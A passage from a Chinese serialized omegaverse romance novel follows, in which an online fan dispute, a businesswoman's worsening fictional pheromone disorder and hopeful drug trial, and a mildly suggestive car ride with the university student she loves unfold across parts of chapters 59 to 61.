之前她的老东家程氏影业的程卿言不就和她纠缠不清了,互联网就没记忆了吗?- 何止是程卿言,云秋染出道那档节目我全看了,当时就有消息传云秋染和港城的某个大佬有关系,云秋染是那位大佬一手捧起来的- 谁说不是,听说那位大佬就是那档选秀节目的幕后投资人,叫什么我忘记了,好像名字里有个枫字- 真的吗真的吗,我也追过那档节目,怎么没听说过这些消息- 还能因为什么,传出来立马就被撤了呗,大佬有钱有权- 我呸,造谣一张嘴是吧,张口就来,还背靠大佬,云秋染刚演戏进剧组那阵吃了多少苦,受了多受罪,人微言轻,可没见有人出来帮她- 今年听过的最大的笑话,云秋染的出道舞台有黑幕,黑子才能说出这样的话吧,造谣之前,先去看看人家的舞台,人家实至名归 …… 可恶! 又是哪个对家找来的水军,哪家的脑残粉跑来黑云秋染。 周青月受不了这个气,手速飞快地打着字,和这些人怼了起来。 云秋染佛系,只专注演戏,不理会这些造谣的人。 粉丝可不佛系,战斗力强,人数又多,加上云秋染路人缘很好,吃瓜的人也会点进来帮忙说几句话,黑子们很快败下阵,灰溜溜地跑了 周青月吃的饱饱的,精神十足,恰好近期学习压力大,借着怼黑粉的机会通通发泄出去。 即使在亢奋,她也没弄出声响,没有骂骂咧咧,寝室不只有她一个人,不能影响到姜映和林溪学习。 可她不知道,她的室友们其实也没有学习。 林溪抿着唇看着手机,也在和黑云秋染的人战斗者,待局势扭转后,她才停了下来。 不过她没有放下手机,依旧盯着屏幕愣了一会儿,眼眸中闪烁着迷茫。 港城的大佬,名字里有一个枫字。 她瞧见了这条评论,只是在她眼前晃了一眼,便记在了脑子里,随即想起了前不久云秋染刚回国那几天,好像就独自去了港城。 那几日对方没有联系她,去之前也嘱咐她不要联系她。 点进微信,颤抖着眼睫,看着云秋染的微信名——枫叶 枫叶。 是巧合吗? 林溪深呼一口气,起身接了一杯温水喝了几口,静了静脑子,告诉自己不用去想这些,无论是真是假,都是对方成长中的一部分,都是过往,经历了这些过往的云秋染才是完整的云秋染,她喜欢完整的她。 而且,她好像也没身份去问想这些,去问这些…… 林溪握着杯子的手紧了又紧,待她回过神时,已经过去半个多小时,桌上的书一页没翻。 姜映也是同样的状态,电脑上的文档一页没翻,一个字也没看进去,一直垂着眼眸看着手机屏幕,嘴角微微上扬。 程卿言给她发消息了:【考完了?】 昨天女人问她要了考试安排表,知道她今晚有一场考试,姜映回复:【嗯,我提前了半个小时出的考场】 程卿言:【这么厉害】 姜映摸了摸有些热的耳朵:【也还好吧】 程卿言:【寒假你有什么安排?】 姜映:【我得去研究院实习,申请已经通过了】 程卿言:【考试结束了立马就去吗?】 姜映的考试还有两天才结束了,最后一场考试在周六上午,研究院管理实习生的部门周末不上班,她去了也无法报道,周一才去报道。 她给女人细细报备了她的情况。 程卿言听后:【所以你周日没事情做?】 其实有,而且有点多,她得自学师姐给她发的资料,内容复杂,大部分都是本科阶段没有学过的,但如果不了解这些,实习阶段她压力会有些大,会更忙。 可是她觉得女人问她这个问题,应该是有事情要说,姜映眨了眨眼,回复道:【有一点事,不过还好,不做也没事】 程卿言:【嗯】 姜映问:【怎么了?】 程卿言:【我在想周日要不要带上你一起出门】 周末那日她稍微可以放松些,事情没那么多,上午去邻省参加一场商业座谈会,下午就能休息了。 如果带上女生,她们相处的时间会多一些。 姜映心跳快了一拍,嘴角微微扬起,快速回复:【那天你不工作吗,会不会影响到你?】 程卿言:【会影响】 姜映扬起的嘴角又落了下去。 程卿言又发来消息:【可我愿意被你影响,你想来吗?】 想吗? 此刻加速的心跳告诉她,她很想,她无法欺骗自己,她想见到她。 姜映轻轻呼了一口气:【想来】 程卿言满意她的回复:【那就来】 姜映补充:【我会安安静静,尽量不影响到你】 程卿言嘴角轻扬,她说的影响,其实不是女生做了什么事情影响到她,而是她把人带去了,在她参加座谈会那几个小时,她见不到她,她会分神,她会想她。 不过她乐意,她乐在其中。 【到时候乖一点】 姜映保证:【会的,我一定听话】 怎么感觉像妈妈带着小孩出门,程卿言挑眉,她可没有给人当妈妈的癖好:【也不用什么话都听】 姜映:【啊?】 程卿言:【呵】 姜映眉眼弯弯,对方又说口头禅了,好可爱。 她想了想,问道:【我周日早上几点来找你啊,要去哪,需不需要我提前买票?】 程卿言:【不用买票,开一个多小时的车就到了,出发之前我会给你发消息,你在校门口等我就行了】 姜映看着她发来的消息,思忖片刻打字道:【我来你家找你行不行呀?】 如果女人特意过来接她,又得很早起床,影响睡眠,她不想她累着了。 程卿言:【这次顺路,就在碚大那边上高速,你乖乖等着就行】 姜映:【好吧】 程卿言看了眼时间:【我得去加班了,你继续复习,好好准备考试】 姜映有些舍不得,她可以不复习的,考试对她没难度,但女人不能不工作,她才说了要听话,不能影响到女人。 于是不舍地说了再见后,就把手机息屏放下了。 揉了揉脸颊,起身去浴室快速洗了澡,吹干头发收拾好后,坐回了书桌前。 先调整了她的计划表,把周日那天的学习任务提出来,均匀低分配在这两天完成。 好多事情要做,她不能再休息了。 破天荒地给自己调了一杯速溶咖啡,几口喝掉,进入了学习状态。 寝室三人今夜都很忙,上半夜的时间都花在与学习无关的事情上,到了下半夜才开始学习,直到凌晨三点,寝室的灯才关上,各自上床休息了。 接下来的每一场考试,姜映都会提前交卷,充分节约出来的这一点点时间,去完成计划表上周日的任务。 忙碌充实,觉也没怎么睡。 周青月知道她一直比较忙,但也不至于忙成这样,吃饭的时候都在听网课,她有些担心她熬不住,关心道:“你这些课和考试无关呀,等考试结束后才学不行吗?” 姜映摇头:“不行,到时候有更重要的事要做。” 周青月随口问:“什么事?” 姜映抬头,眼眸含笑:“去见姐姐。” 见到程卿言,如果有机会的话,她得认真听一听对方那种断断续续的呼吸声。 她好喜欢。 而且这次见面,她准备了很多强化剂,距离女人上一次要求她服务,已经快半个月了,应该需要她服务了。 她得准备好。 作者有话说: 晚安,明天见 第60章 想吻 想吻 第六十章 周日。 程卿言拿出黑色签字笔,在日历上画了一个圈,将“周日”二字圈了起来。 指尖点着笔身,在圆圈旁边画了一根竹子的简笔画,女人眉眼柔和地看着自己的作品,好看是好看,但瞧着有些单调,还差了点东西。 片刻后她又在竹尖上画了一颗樱桃,程卿言嘴角上扬,满意地点了点头。 她的画工真不错。 寥寥几笔,栩栩如生,若是她没有从商,当初去搞艺术学画画,说不准她现在已经成了家喻户晓的大画家了。 但也只能想想,她的身上不会有如果,出生在程家,尤其是她双亲意外离世后,她的人生就不会有别的选择了,程老太太从小就对她的教育很严苛,完全按照继承人的标准来培养她,即使她当初真有了要做画家的梦想,只会被扼杀在摇篮里,不会得到支持。 不过她也不遗憾,她对经商感兴趣,她喜欢站在高位,掌控自己命运的感觉。 好在她对做生意感兴趣,不然她这些年过得会很痛苦。 胡思乱想了会儿,待她回过神,日历上又多了两条狗和一只猫,拉面丸子和柚柚。 程卿言放下笔,又欣赏了一会儿,拿起手机拍了一张照片,发给了在隔壁办公室加班的余简予。 余简予回复:【你哪来的丑照片,谁画的这么丑啊,筷子上为什么要串一颗山楂,画的糖葫芦了吗,怎么不多串几颗,筷子旁边画的是两只狗吗,应该是狗吧,不过为什么还要画一只耗子挨着狗?这画的寓意是啥,狗拿耗子多管闲事?】 程卿言:…… 不微笑。 直接撤回照片。 余简予:【???】 程卿言呵了一声:【你挣这么多钱,都拿去谈恋爱了吗,省点出来给自己多配几副眼镜吧】 不懂欣赏。 余简予:【不会是你画的吧?】 程卿言懒得回她,手机丢在一旁,看向电脑屏幕,准备接着工作时,办公室的门被推开了。 没有敲门就推开了,公司内敢这样鲁莽推她门的人只有余简予。 她没抬头。 不想理她。 余简予眯着眼,径直走到她桌前,附身歪头看向桌面上摆着的日历,看见了她想看的东西,瞬间哈哈哈哈笑出声。 程卿言抿唇,忍了她十秒,抬头冷冷道:“笑够了没?” 余简予笑得肚子疼,有点停不下来了,开了瓶苏打水喝了几口才缓过来,揉了揉笑疼了的脸,解释道:“你都画了些啥玩意?” 程卿言微笑,指尖指向门口:“立马离开我的办公室,行吗余总?” “行行行,”余简予就是故意跑过来嘲笑她的,乐子也看了,提神醒脑,是时候回去接着工作,走到门口回头找补一句,“其实画的挺不错的,属于抽象派,一般人根本花不出来。” 程卿言呵了一声,懒得和她争辩,本来就不错。 她对她的画很满意。 她要买一个精致的相框,把这张日历拿回来裱起来挂在墙上,每天欣赏。 将近十点。 处理好工作,程卿言起身,撕掉她作画的日历,放进包里,坐电梯下楼,离开了公司。 何助这几日晚上不会来公司,去医院守着她母亲了。 开车的是秦助理。 夜里的路况良好,一路顺畅。 程卿言阖着眼睫,坐在后排座休息了会儿,很快到了腺体研究所,无需她多言,秦助理不会跟着她,只会在楼下等着。 程卿言每隔一段时间都会过来做检查,半个小时后,她的检查报告全部出来了。 她看了几眼,眉头微微蹙了起来。 久病成医,报告上的大部分数据和专业术语她都能看懂,无需孙影开口,她便知道情况已经变得很糟糕了。 上一次检查结果显示她还是维持着之前的状况,没有发生大变化,而这一次距离上次检查,只过了半个多月,就变成了这样。 程卿言沉默着,最后一年,所以腺体医学史上没有信息素紊乱患者能挺过十五年,即使平时一直维持得很好,也会在最后这一年里猛得变化,她也不例外。 孙影详细看了她的检查报告,轻呼一口气,问道:“你……” 程卿言打断:“孙阿姨你就别说安慰我的话了,你知道我能看懂这些的,直接说我目前是什么情况吧。” 了解了真实的情况,才能想应对的方法。 孙影知道她的性子,缓了几秒,又垂眸看了会儿报告,在腺体医学领域工作了大半辈子的她,相信科学的她,这时希望她手里的报告单是错误的,她依旧有些不相信。 不相信机器,她得自己再确认一遍,认真询问道:“这半个月里你有没有感觉腺体很安分了?” 腺体好像变得稳定了一般,不像以前那样渴望抑制剂,或者是alph息素的安抚,好像恢复了正常。 但是能明显地感觉到体能和精力大不如前,总是会困,会乏累。 这些症状程卿言有吗? 在这半个月里,程卿言都感觉到了,全都出现在她身上。 但这些并不表明是腺体变得正常了,恰恰相反,是枯萎的征兆。 因为在枯萎了,活力不如以前,所以她这段时间只用了一点点抑制剂就能让偶尔出现起伏的腺体恢复正常。 因为在枯萎了,她的体能急剧下降,开一场会议,她都会感觉疲惫。 “照这种状况发展下去,我是不是也只剩下不到一年的时间?” 孙影眉心微颤,嗯了一声。 程卿言平静的神色发生了轻微的动容,之前是不能确定她能不能挺过十五年,现在能确定了,不能。 她是普通人,她不是女主,不是奇迹,不会得到世界的偏爱。 孙影见她沉默了,随即道:“你别灰心,有好消息要告诉你,特效药第二期的试药结果在今天早上已经出来,志愿者的各项数据的很良好。” 也就表明第二期的试药通过了,比她和同事的预期快了二十多天,所以特效药马上会进入了第三期,也就是最后一期的试药。 如果成功,信息素紊乱这一病症就被彻底攻克了。 按照前两期的数据推断,成功的几率达到了百分之九十。 所以,即使程卿言的腺体开始萎缩,只要特效药研制成功了,最后也能恢复健康。 “会成功的,如果快的话,一个月之内结果就能出来。” 程卿言嗯了一声,想了想问道:“这一个月我的体能是不是会继续下降,有没有药物可以控制一下?” 有药。 针对信息素紊乱末期,维持体能的药。 但这类药的副作用很大,如果患者只剩下一年的时间,吃了这类药物,可能一年的时间又会缩短成十个月,八个月,孙影不是很想给她开。 “你也说了,特效药的研制会成功,成功的概率达到了百分之九十,孙阿姨你就给我开吧。” 程卿言不能让自己的体能急剧下降,近期她真的有很多事情要忙。 如果特效药研制成功了,即使她吃了体能药,寿命缩短了一两个月,对她来说也没有任何影响,最后她会恢复健康。 如果不成功,茍延残喘多活一两个月也没有意义。 她得吃。 孙影拗不过她,给她开了一个月的,嘱咐道:“早中晚各一颗,千万不能过量。” 程卿言:“知道了。” 孙影道思忖片刻,嘱咐道:“这几月你得注意休息,别过劳,尤其不能让身体受到太大的刺激,尽量戒掉性生活,不然你可能承受不住。” 腺体已经处于萎缩状态,一点点信息素就能让其得到安抚,若是注入的量过大,身体的反应会很大,会变得异常敏感。 敏感,就会想要,想折腾。 但她目前的身体状况,即使吃了体能药,也经不起一次又一次的折腾,太耗费精力了。 戒掉性生活。 程卿言:“偶尔自给自足可以吗?” 孙影如实说:“这种程度还是可以的,你自己能把握分寸,我刚才指的是尽量戒掉和alpha发生肢体接触性生活。” 这种吗,她根本就没有过。 姜映不行。 看来不行也有好处。 程卿言不知是喜是悲,叹了口气。 孙影闻声,以为她忍不住,她是过来人,年轻的时候也冲动过,想了想道:“如果实在想做,你一定得让alpha控制好分寸,该停下的时候就得停下,一定得控制好,不能你想要多少,alpha就给多少。” 总而言之。 没有性生活,对于进入腺体萎缩阶段的信息素紊乱患者而言是最有利的。 如果不是特效药即将成功,无所谓影不影响最后这一年的寿命,她会严格要求程卿言,戒掉性生活。 “我知道了。”程卿言一边应着,一边在心里吐槽坏东西。 孙影不只是她的医生,还是她已故双亲的同学同事朋友,是看着她出生,看着她长大的人,她会关心她的生活,除了性生活,还给她嘱咐了很多需要注意的事情。 程卿言认真地听着,她不会不把自己的身体当回事,身体变好了,她才能做更多想做的事情。 一个多小时后,她才从孙影的办公室出来,下楼回到了车里:“开车吧,回月泊林。” 秦助理道:“好的。” 车窗开了一道缝隙,吹拂进来的冷风凌乱了她的发梢,在她发间穿梭着。 程卿言深深呼了一口气,不知道该怎么描述她此刻的状态,胸口那处有点闷,但又不是让人难受那种闷。 今夜知道了两个对她而言很重要的消息。 坏消息时腺体开始萎缩了,她的生命真的进入最后一年的倒计时了。 好消息是特效药第二期试药成功,第三期成功的概率也特别高,意味着她恢复健康,能活下来的可能行很高,意味着她有很多个以后。 她的理想,热爱的事业,喜欢的人,她会有时间去得到,去拥有,去享受, 以后。 美好,充满希望的词汇。 她喜欢这个词。 折磨她这么多年的信息素紊乱,终于要结束了。 不是她结束,就是它结束。 程卿言关上车窗,拿起手机点进和姜映的聊天界面,指尖悬浮在屏幕上方,眸光颤动,片刻后又退了出来,没有给女生发消息。 细腻的指腹摩挲着机身边沿,冰冰凉凉。 这种时候,她有些想和姜映分享她的心情,喜悦中带着惆怅,心里有些酸胀的心情。 但她忍住了,已经这么晚了,女生说不准休息了。 如果没有休息,就是还在学习,看见消息肯定会回复她。 程卿言了解自己,如果她得到了姜映的回复,就会不满足于隔着网络的聊天,她会生出别的念想,会开车去碚大校门口,让女生出来见她。 见了之后,大概又会不满足于短暂的见面,她会带着女生会她家,相处一夜,在她怀里入睡。 可是姜映在考试,程卿言有她的考试安排表,每天好几场考试,若是因为她的缘故没休息好,成绩下降了,她会过意不去。 她还是别带坏乖学生。 哼,坏东西真有福气,遇见了她这么善解人意的女人。 程卿言挑了挑眉梢,毫不吝啬地在心里夸了自己几句,而后又想到了前几日她夜夜在心里骂女生不行的事。 其实她不该骂她,这段时间alpha不行,正好有利于她戒掉欲念。 若是跨年夜那晚,在云县的酒店里,姜映对她有欲望,她肯定会和她做。 当时她不知晓她的腺体进入了衰退期,身边也没有体能药,做了之后的后果就是她会变得更虚弱,消耗的体能过多,可能无法完成在云县的工作,影响项目的进度,得不偿失。 不仅不该骂,她应该感谢她。 但这并不代表她希望姜映一直不行,等她一个月后恢复健康了,程卿言还是会接续骂坏东西。 年纪轻轻的alpha,怎么就不行呢。 程卿言揉了揉眉心,又拿起手机点进微信,点进姜映的主页,指尖在屏幕上滑动几下,改掉了她给姜映的备注。 从“小蜜蜂”改成了“姜不行”。 改好之后,她敛眸看了几眼,傲气地呵了一声。 回到月泊林,程卿言拿出她带回的那页日历,放在了卧室的床头柜上,洗了澡躺在到床上,在购物软件挑选了几个合眼缘的相框,吃了体能药后就准备睡觉了。 阖眼之前,她看了看日历上圈出来的数字,以及自己的画作,嘴角轻轻扬了扬。 还有两天,两天。 * 周日清晨。 雾气笼罩,天际模糊亮。 碚大校道两旁昏黄的路灯尚未关掉,影影绰绰,路上行人很少。 一辆共享单车驾驶在宽敞通畅的校道上,带着冷雾的寒风迎面刮在女生青涩的脸颊上,凌乱了柔顺乌黑的秀发。 几分钟后,小电驴停在了校门口共享单车的专属区域,姜映秀挺的鼻尖被冷风吹得通红,修长手指上的骨节也泛起了红。 时间太早了,还差几分钟到七点,太阳还没升起来,气温很低。 姜映呼出的气都成了白雾,她理了理头发,拿起挂在车把手上的袋子,去了校门外的老位子等着。 等了几分钟,熟悉的车牌号出现在视野里,由远及近。 只是四天没见,姜映的心跳快了起来,她发现她有些紧张,嘴角像不受控似的,一直想往上扬。 啊。 为什么只是看见了卡宴,她就开始羞涩了啊,卡宴又不会调侃她。 姜映的掌心也热了起来,深深呼了一口气。 很快,车子停在了她跟前,她眉眼弯弯,拉开车门坐了上去。 今天跟着程卿言去开会的人是何助,待她进去后,直接开车出发了。 姜映有些扭捏地叫了一声姐姐,眼眸亮亮地看了看女人,看几秒,又不好意地移开,再移回来继续看。 程卿言扬了下眉梢,轻笑一声:“你要看就看。” 姜映红着耳朵嗯了一声,侧眸,定睛看着女人。 眼眸中的波光荡漾着,清澈干净,细瞧,能察觉到里面好像含有浓浓的情意。 这样的目光落在身上,让人感觉很舒服,浑身暖了起来。 几天不见,程卿言感觉女生对她的态度好像有了轻微的变化,但她又形容不出来哪变了。 同样是害羞,此刻的害羞好像和以前的也不太一样了。 “给我带的早餐呢?” 女人的声音泠然柔和,尾音还轻轻勾了一下,姜映听得耳朵痒酥酥的,想起了那晚女人在电话里发出的断断续续的呼吸声。 不知道还有没有机会再听一次。 程卿言侧身,脚尖踢了踢忽然发起愣的女生,微微不乐意嗔道:“姜映。” 她就在眼前,这坏东西想什么去了,似她为无物,居然走神。 姜映随即回神,朝着她笑了一下:“不好意思。” 程卿言呵了一声,伸手掐她的脸。 姜映任由她掐,打开手里的袋子:“我买了好几种,你看看你想吃什么?” 女人是在六点半左右给她发的消息,告诉她七点出头的时候会到校门附近,那会儿她正在食堂吃早餐,就主动问了女人需不需要她给她带早餐。 程卿言说想,让她带一些她觉得好吃的。 碚大食堂的食物价格不贵,但味道很好,比商场里很多连锁店做的味道好无数倍。 姜映买了酱肉包,流沙包,煎饺,饭团,手磨豆浆。 “这么多?”程卿言 姜映说:“你就吃你想吃的。” 程卿言说:“都想吃呢?” 姜映眨眨眼:“那你可以都尝一点点,剩下的我来吃。” 程卿言嘴角扬了一下,指了指饭团,女生递给她,她咬了一口细细尝了尝,眉头轻轻皱了一下,又把饭团还给了女生:“你吃,里面有折耳根,我不喜欢。” 姜映哦了一声,吃掉饭团。 女人又尝了尝酱肉包和流沙包,味道不错,多吃了几口,煎饺也吃了两个,就有饱腹感了,她饭量不大,停了下来。 喝着豆浆,看着乖巧吃东西的女生,嘴角扬来起来,待女生吃完后,她把手里的豆浆递过去:“喝一点,别噎着了。” 姜映接手,嗯了一声,眸光落在了吸管印着的口红印上,颤了颤眼睫,偷偷摸摸抬眸,快速看了眼女人,瞥见女人这会儿正拿着手机发消息,没有注意她,她才含住吸管,炽热的双唇轻轻覆在了口红印上,喝豆浆。 豆浆的甜度怎么样,是冷是热,她全没有感受到,她只感觉她的心跳好快啊,快到要跳出来,好紧张啊。 程卿言回复好余简予的消息,抬眸看向女生,疑惑地嗯了一声:“你很热吗?” 姜映握着豆浆杯子的手紧了紧,摇头:“不热。” 程卿言:“既然不热,额头上怎么冒了这么多汗?” 虚汗,因为太紧张,心虚冒出来的汗水。 姜映颤着眼睫,抿了抿麻酥酥的唇,不敢直视,眼神微微闪躲。 程卿言:? 小姑娘又在搞哪一出。 她拿了纸巾递给她:“擦擦。” 姜映哦了一声,放下杯子,擦起了额头的汗水。 程卿言顺势拿起了豆浆杯,准备再喝几口,发现杯子已经空了,这坏家伙一点也不给她留,有这么渴吗,她幽幽地看了alpha一眼。 本来就有些“做贼心虚”的姜映屏住呼吸,紧张地看着她:“怎么了?” 程卿言:“没什么。” 一杯豆浆而已,这人想喝,她让给她便是。 哎,这坏家伙运气真好,遇上她这么大方的女人。 从碚城去邻省要坐一个多小时的车,程卿言昨晚失眠,难以入睡,今早又起得早,即使出门前吃了体能药,但为了在等会儿的商业座谈会上保持良好的精神状态,她此刻得休息会儿。 她握起女生的手腕,指腹蹭着女生手腕上的红绳:“我想睡会儿。” 姜映颤睫,能看出她精神不太好,担心她:“躺我腿上?” 程卿言歪头,轻笑一声,自然熟练地躺下,头枕在了alpha腿上,声音低低问道:“我睡了,你会不会无聊?” 姜映看着女人的眼睛:“不会的,我会找事情做。” 程卿言嗯了一声,阖上了眼睫,也就不操心了。 好学生学习任务重,多数时候比她还忙,她睡下后,应该会拿出手机学习。 女人并不知道,在她闭上眼睛,难得地进入浅睡后,姜映的眸光一直没从她脸上移开,一直柔柔地注视着,并没有做与学习有关的事情。 流畅的车身在高速上疾驰着,窗外浓雾散去,晨光熹微。 太阳缓缓升起,缓和的光照进了车内,金灿灿地落在了女人发梢上。 很快,天光大亮。 姜映能清晰地瞧见怀中之人脸上细小的绒毛,眼位那颗很浅很浅的痣,浓密卷翘的眼睫,以及女人粉嫩的双唇。 那晚她在电话里听见的断断续续的呼吸声,就是从这里发出来的。 她抬手,轻轻地用指腹碰了一下女人的嘴角,蜻蜓点水。 目光落在女人双唇上后,像是上了锁,姜映就再也没移开过,不由自主滚了滚有些干的喉咙,呼吸也有些热。 她的心跳很快,她想到了她咬住吸管,双唇覆上女人口红印时的感觉,脑子麻麻的,好像有些缺氧。 忽然有了一种念头,她很想吻她。 掌心微微冒出了汗,她吞咽几下,眸光软而炽热,附身靠近,犹豫几秒,最终快速在女人额头上亲了一下。 正要撤离时,女人没有睁眼,凭直觉准确拉住alpha的衣领,拉向自己,声音有些哑:“除了额头,其它地方也可以,对我做你想做的……” 作者有话说: 晚安,明天见《 》 60-65 第61章 帮我 帮我 第六十一章 其它地方也可以,可以对女人做她想做的一切。 她想做什么? 姜映眸光颤动,领口依旧被拉着,在极近的距离里,她的眸光又重新落在了女人微张的双唇上,她滚了滚干涩的喉咙。 她想吻上去。 像含住女人的唇,用牙齿轻轻咬住。 她想听那晚在电话里听见的断断续续的呼吸声,虽然她不知道女人会何种情况下发出那样的声音,可她有种直觉,她咬她的唇,这种声音或许就能出现了。 她还想…… 姜映紧了紧按着座位边沿的手,掌心微微冒汗,想到了那晚女人握着她的手腕,带着她掌着她心口圆润起伏处的感觉。 女人问她喜不喜欢。 她当时如实回答了女人,她喜欢,她喜欢握着她时的触感。 即使隔着衣服,也能感受到的饱满,细腻,柔软。 以及鲜活有力的心跳,她喜欢女人这样的心跳落在她掌心。 在女人告诉她大小之前,她脑子里就冒出了有关女人的尺码,她不知道她为什么会知晓,但在她得知脑子里出现的尺码是正确时,她莫名其妙产生了一种女人那里就是属于她的,只有她可以触摸到念头。 只属于她的。 好似她从前握过无数次一般,在她碰上去那瞬,和她掌心完美契合,她在那里找到归属感。 姜映为她这种荒唐的想法感到羞耻,归属感一般都是用来形容家的,她怎么能用来形容女人胸口带给她的感觉。 前几天她很忙,不仅得考试,还得分担周日这天的学习任务,时时刻刻都在学习,觉都没怎么睡。 因此她没有时间去细想这种荒谬的归属感,没有时间去整理她这些思绪。 可就在几分钟前,女人枕在她腿上安安静静地睡觉,初升的阳光照耀进来,在视线变得明了起来时,她心里的这些想法瞬间涌了出来,清晰坦诚地展露在光亮中。 这是她对程卿言产生的欲望吗? 想听她的呼吸声,想摸摸她,想吻她。 姜映眼睫颤动,她的呼吸随着她想法的清晰,而越发灼热起来,向来干警澄澈的眸光此刻像有只手在里面晃了几下,波光荡漾起来。 她看着女人的唇,深深呼了一口气,低头,靠近再靠近,女人一直没有睁开眼,像是很放心她一般,允许她对她做任何事情。 接纳她的一起行为。 柔软炽热的嘴角轻轻擦过女人的脸颊,正要落在唇上时,车身猛得晃荡一下,身形随之不稳,跟着东倒西歪,姜映下意识护着女人,自己的额头因为撞到了前座上,疼得她“嘶”了一声。 程卿言坐了起来,声音冰凉严肃:“怎么回事?” 何助立刻解释:“抱歉程总,刚才前面有辆黑车突然超车变道进匝道,是我没提前做好预判,惊扰了您。” 何助的反应力和车技一直很好,从前没有出现过这种失误,如果方才没有躲开,可能就撞上了。 高速上车速快,任何的小碰撞,可能都会造成严重的后果。 方才那辆黑车是刚拿驾照的新手,驾驶技术不到位,无意为之,还是因为别的? 程卿言皱了皱眉,缄默片刻,侧眸看向alpha撞红了的额头,伸手给她揉了揉:“除了这儿,其它地方有没有事?” “没有,”姜映担忧地看着她, “你呢,你有没有哪不舒服?” 程卿言冰凉的眸光柔和下来:“我能有什么事,你不是护着的我了嘛。” 姜映眼神诚挚:“万一没有护住。” 程卿言对她笑了笑,挑眉:“我自己也会保护好自己。” 回答这话时,她脑子里浮现出方才女生护着她的姿态,如果真的发生了意外,那女生则是把自身置于危险中,全身心护着她。 怎么能这样。 人都得以自己的生命安全为第一位才对,只有保护好自己,才能谈以后,才有余力去保护别人。 她一点也不喜欢电视剧中一命换一命,最后独留一人在人世间终生无法思怀,怀恋一辈子的戏码。 可程卿言无法在方才的事情上对姜映说出苛责的话,她的心软软的,眸光也很柔和,只是道:“不管在哪,以后如果出现了危险,你都得先保护好自己,知道吗?” 姜映嗯了一声:“知道了。” 她方才没有想任何事情,她护着对方,将对方放在第一位,纯粹是她下意识的反应。 程卿言揉着她额头的红:“得记住。” “哦,”姜映看着她,额头撞到的时候虽然很疼,但她的恢复能力强,这种程度的撞伤,几个小时就能恢复,用不着担心,“你还要继续睡会儿吗?” 程卿言偏头:“你希望我睡还是不睡?” 离目的地还有半个多小时的车程,多睡半个小时,肯定比不睡好,姜映道:“你睡吧。” 程卿言笑了一声,身体前倾,凑到alpha耳边道:“到底是想我睡觉,还是想继续偷亲我,嗯?” 女人呼出的热气悉数落在了姜映的耳畔上,耳朵瞬间变红,开始发烫:“真,真的是想你睡会儿。” 声音小小的,也有点虚,明显是底气不住,自己也不知道自己在女人闭上眼睛后会做出什么事。 “姜映啊,”程卿言鼻尖蹭着她的耳朵,用着蛊惑人心的声音道,“想偷亲我并不是一件丢人的事,这说明你是正常alpha。” 像之前那般无欲无求,对她没有任何想法,才不正常。 看来她这些日子的引导,还是起了一些作用。 坏东西至少想吻她了。 她躺在alpha腿上闭目养神那会儿虽然一直没睁眼,看不见她的神情,但女生那点小心思真的太明显了,短时间内呼吸变得很快,她枕着的腿也在颤抖,心扑通扑通的,靠近她的时候,她都快被她掌心的温度烫着了。 若是方才没发生意外,她们应该已经吻上了。 不过这人会接吻吗,大抵不会。 轻轻地在她唇上碰一下,应该就会很满足地撤离。 她还得教。 得教。 程卿言微微愣了愣,忽然意识到一件事情,她也没和别人接过吻,理论知识颇为丰富,实践经验也为零。 接吻和做|爱不一样,后者她可以自己动手,尝试多次后就有经验了,可以手把手带着找,带着教,但接吻她自己怎么尝试,上嘴唇吻下嘴唇吗? 作为同样没实践经验的人,如果真吻起来了,她也教不了姜映。 到时候大眼瞪小眼…… 坏东西无辜又着急地看着她,她教不了,她岂不是丢人了。 想到此处,程卿言的嘴唇快速撤离alpha的耳畔,忽略掉alpha眼眸中那抹被她挑起来的念想,她道:“我得处理点事情,你自己玩会儿。” 姜映哦了一声,眸光从女人嘴唇上移开,心里有些躁躁的,很想喝冰水,片刻后她又轻轻侧头看了看女人,犹豫片刻,开口道:“姐姐……” 程卿言没有抬头,目光正看着屏幕,手指在屏幕上滑动着,边打字边应道:“怎么了?” 姜映见她在忙工作,想起了之前答应过女人跟着她出来要乖乖的,不能给她添麻烦:“没什么,就是叫你一下。” 程卿言扬了下嘴角,注意力暂时没在女生身上,她在和余简予请教接吻的实际操作:【给我传授点经验】 余简予:【啊,你问我吗?】 程卿言:【不行吗】 余简予:【我也说不清楚啊】 程卿言:【你不是谈过恋爱吗,总不可能没接过吻吧】 余简予:【肯定是接过,不过我都是被带着吻那一方,我交往过的女朋友吻技都很好,我每次都晕乎乎的,你让我正儿八经地说经验,我真说不出来】 程卿言:【要你何用】 余简予开玩笑:【要不你和我接个吻,我说不出来,可能亲得出来】 程卿言:【……】 和余简予接吻? 那和自己的上嘴唇亲下嘴唇有什么区别,她可受不了,没有这种癖好。 余简予:【你问这个做什么】 程卿言:【自然有用处】 余简予:【有什么用啊,你的小姜又不行,她不行她没欲望,你学来干嘛】 学来干嘛,学来教这个对她有了一点点欲念的坏东西。 程卿言放下手机,幽幽地看了女生一眼,在心里骂骂咧咧几句。 怎么余简予遇见的都是吻技好的alpha,她喜欢上的就是傻乎乎的。 姜映感受到她的目光,眨了眨眼关心道:“工作上遇见不顺心的事了吗?” 程卿言笑:“没有,很顺心。” 姜映哦了一声:“那就好。” 程卿言看着女生的眼眸,眸光又柔了下来,傻乎乎又怎么样,她喜欢的人在她眼中就是最好的,即便不行,她也喜欢。 即使什么都需要omega教,也别有一番滋味,她骂归骂,但她乐在其中。 女人认命地谈了口气:“姜映。” “嗯?”姜映看着她。 程卿言欠身过去,在女生额头那块撞红了肌肤上亲了一下,像哄小孩似的说了一句:“亲一亲就不疼了。” 不疼了。 却痒了起来。 这种痒意顺着女人吻过的地方,蔓延到身体每个角落,姜映觉得她热得有些想脱衣服,喉咙也很干,拿起水喝了几大口,才缓了过来。 快到目的地了,程卿言从包里拿口红补妆,简单地提了提气色。 步骤简单,速度较快,很快就完成了,侧眸时正好瞧见身旁颤着眼睫,看着她发愣的alpha。 程卿言勾唇,摸了摸她的脸,有点明知故问:“在想什么?” 姜映回神,眸光从女人红唇上移开:“没,没什么…我…嗯……” 话音止住,眼尾染了些红润,浑身轻轻颤了一下。 女人指尖从她的鼻梁滑落到了嘴角,指腹一下一下,轻重交替地蹭着她的嘴唇,在她开口说话回复时,女人的指腹在她舌尖碰了一下,停顿几秒,她全身好像热了起来,吞咽几下。 程卿言的眸光落在了alpha滚动的喉骨上,想起了她之前给女生的标记牙上药那一次,也是类似的情况,她的指腹不小心碰到了她湿润的舌尖。 当时女生是什么反应? 脸红,道歉,除了害羞,再无其它。 而此刻…… 程卿言的嘴角扬了一下,坏东西对她的这些触碰好像有反应了,她把微微湿漉的指腹撤离,放到alpha手上,开口道:“给我擦干净。” 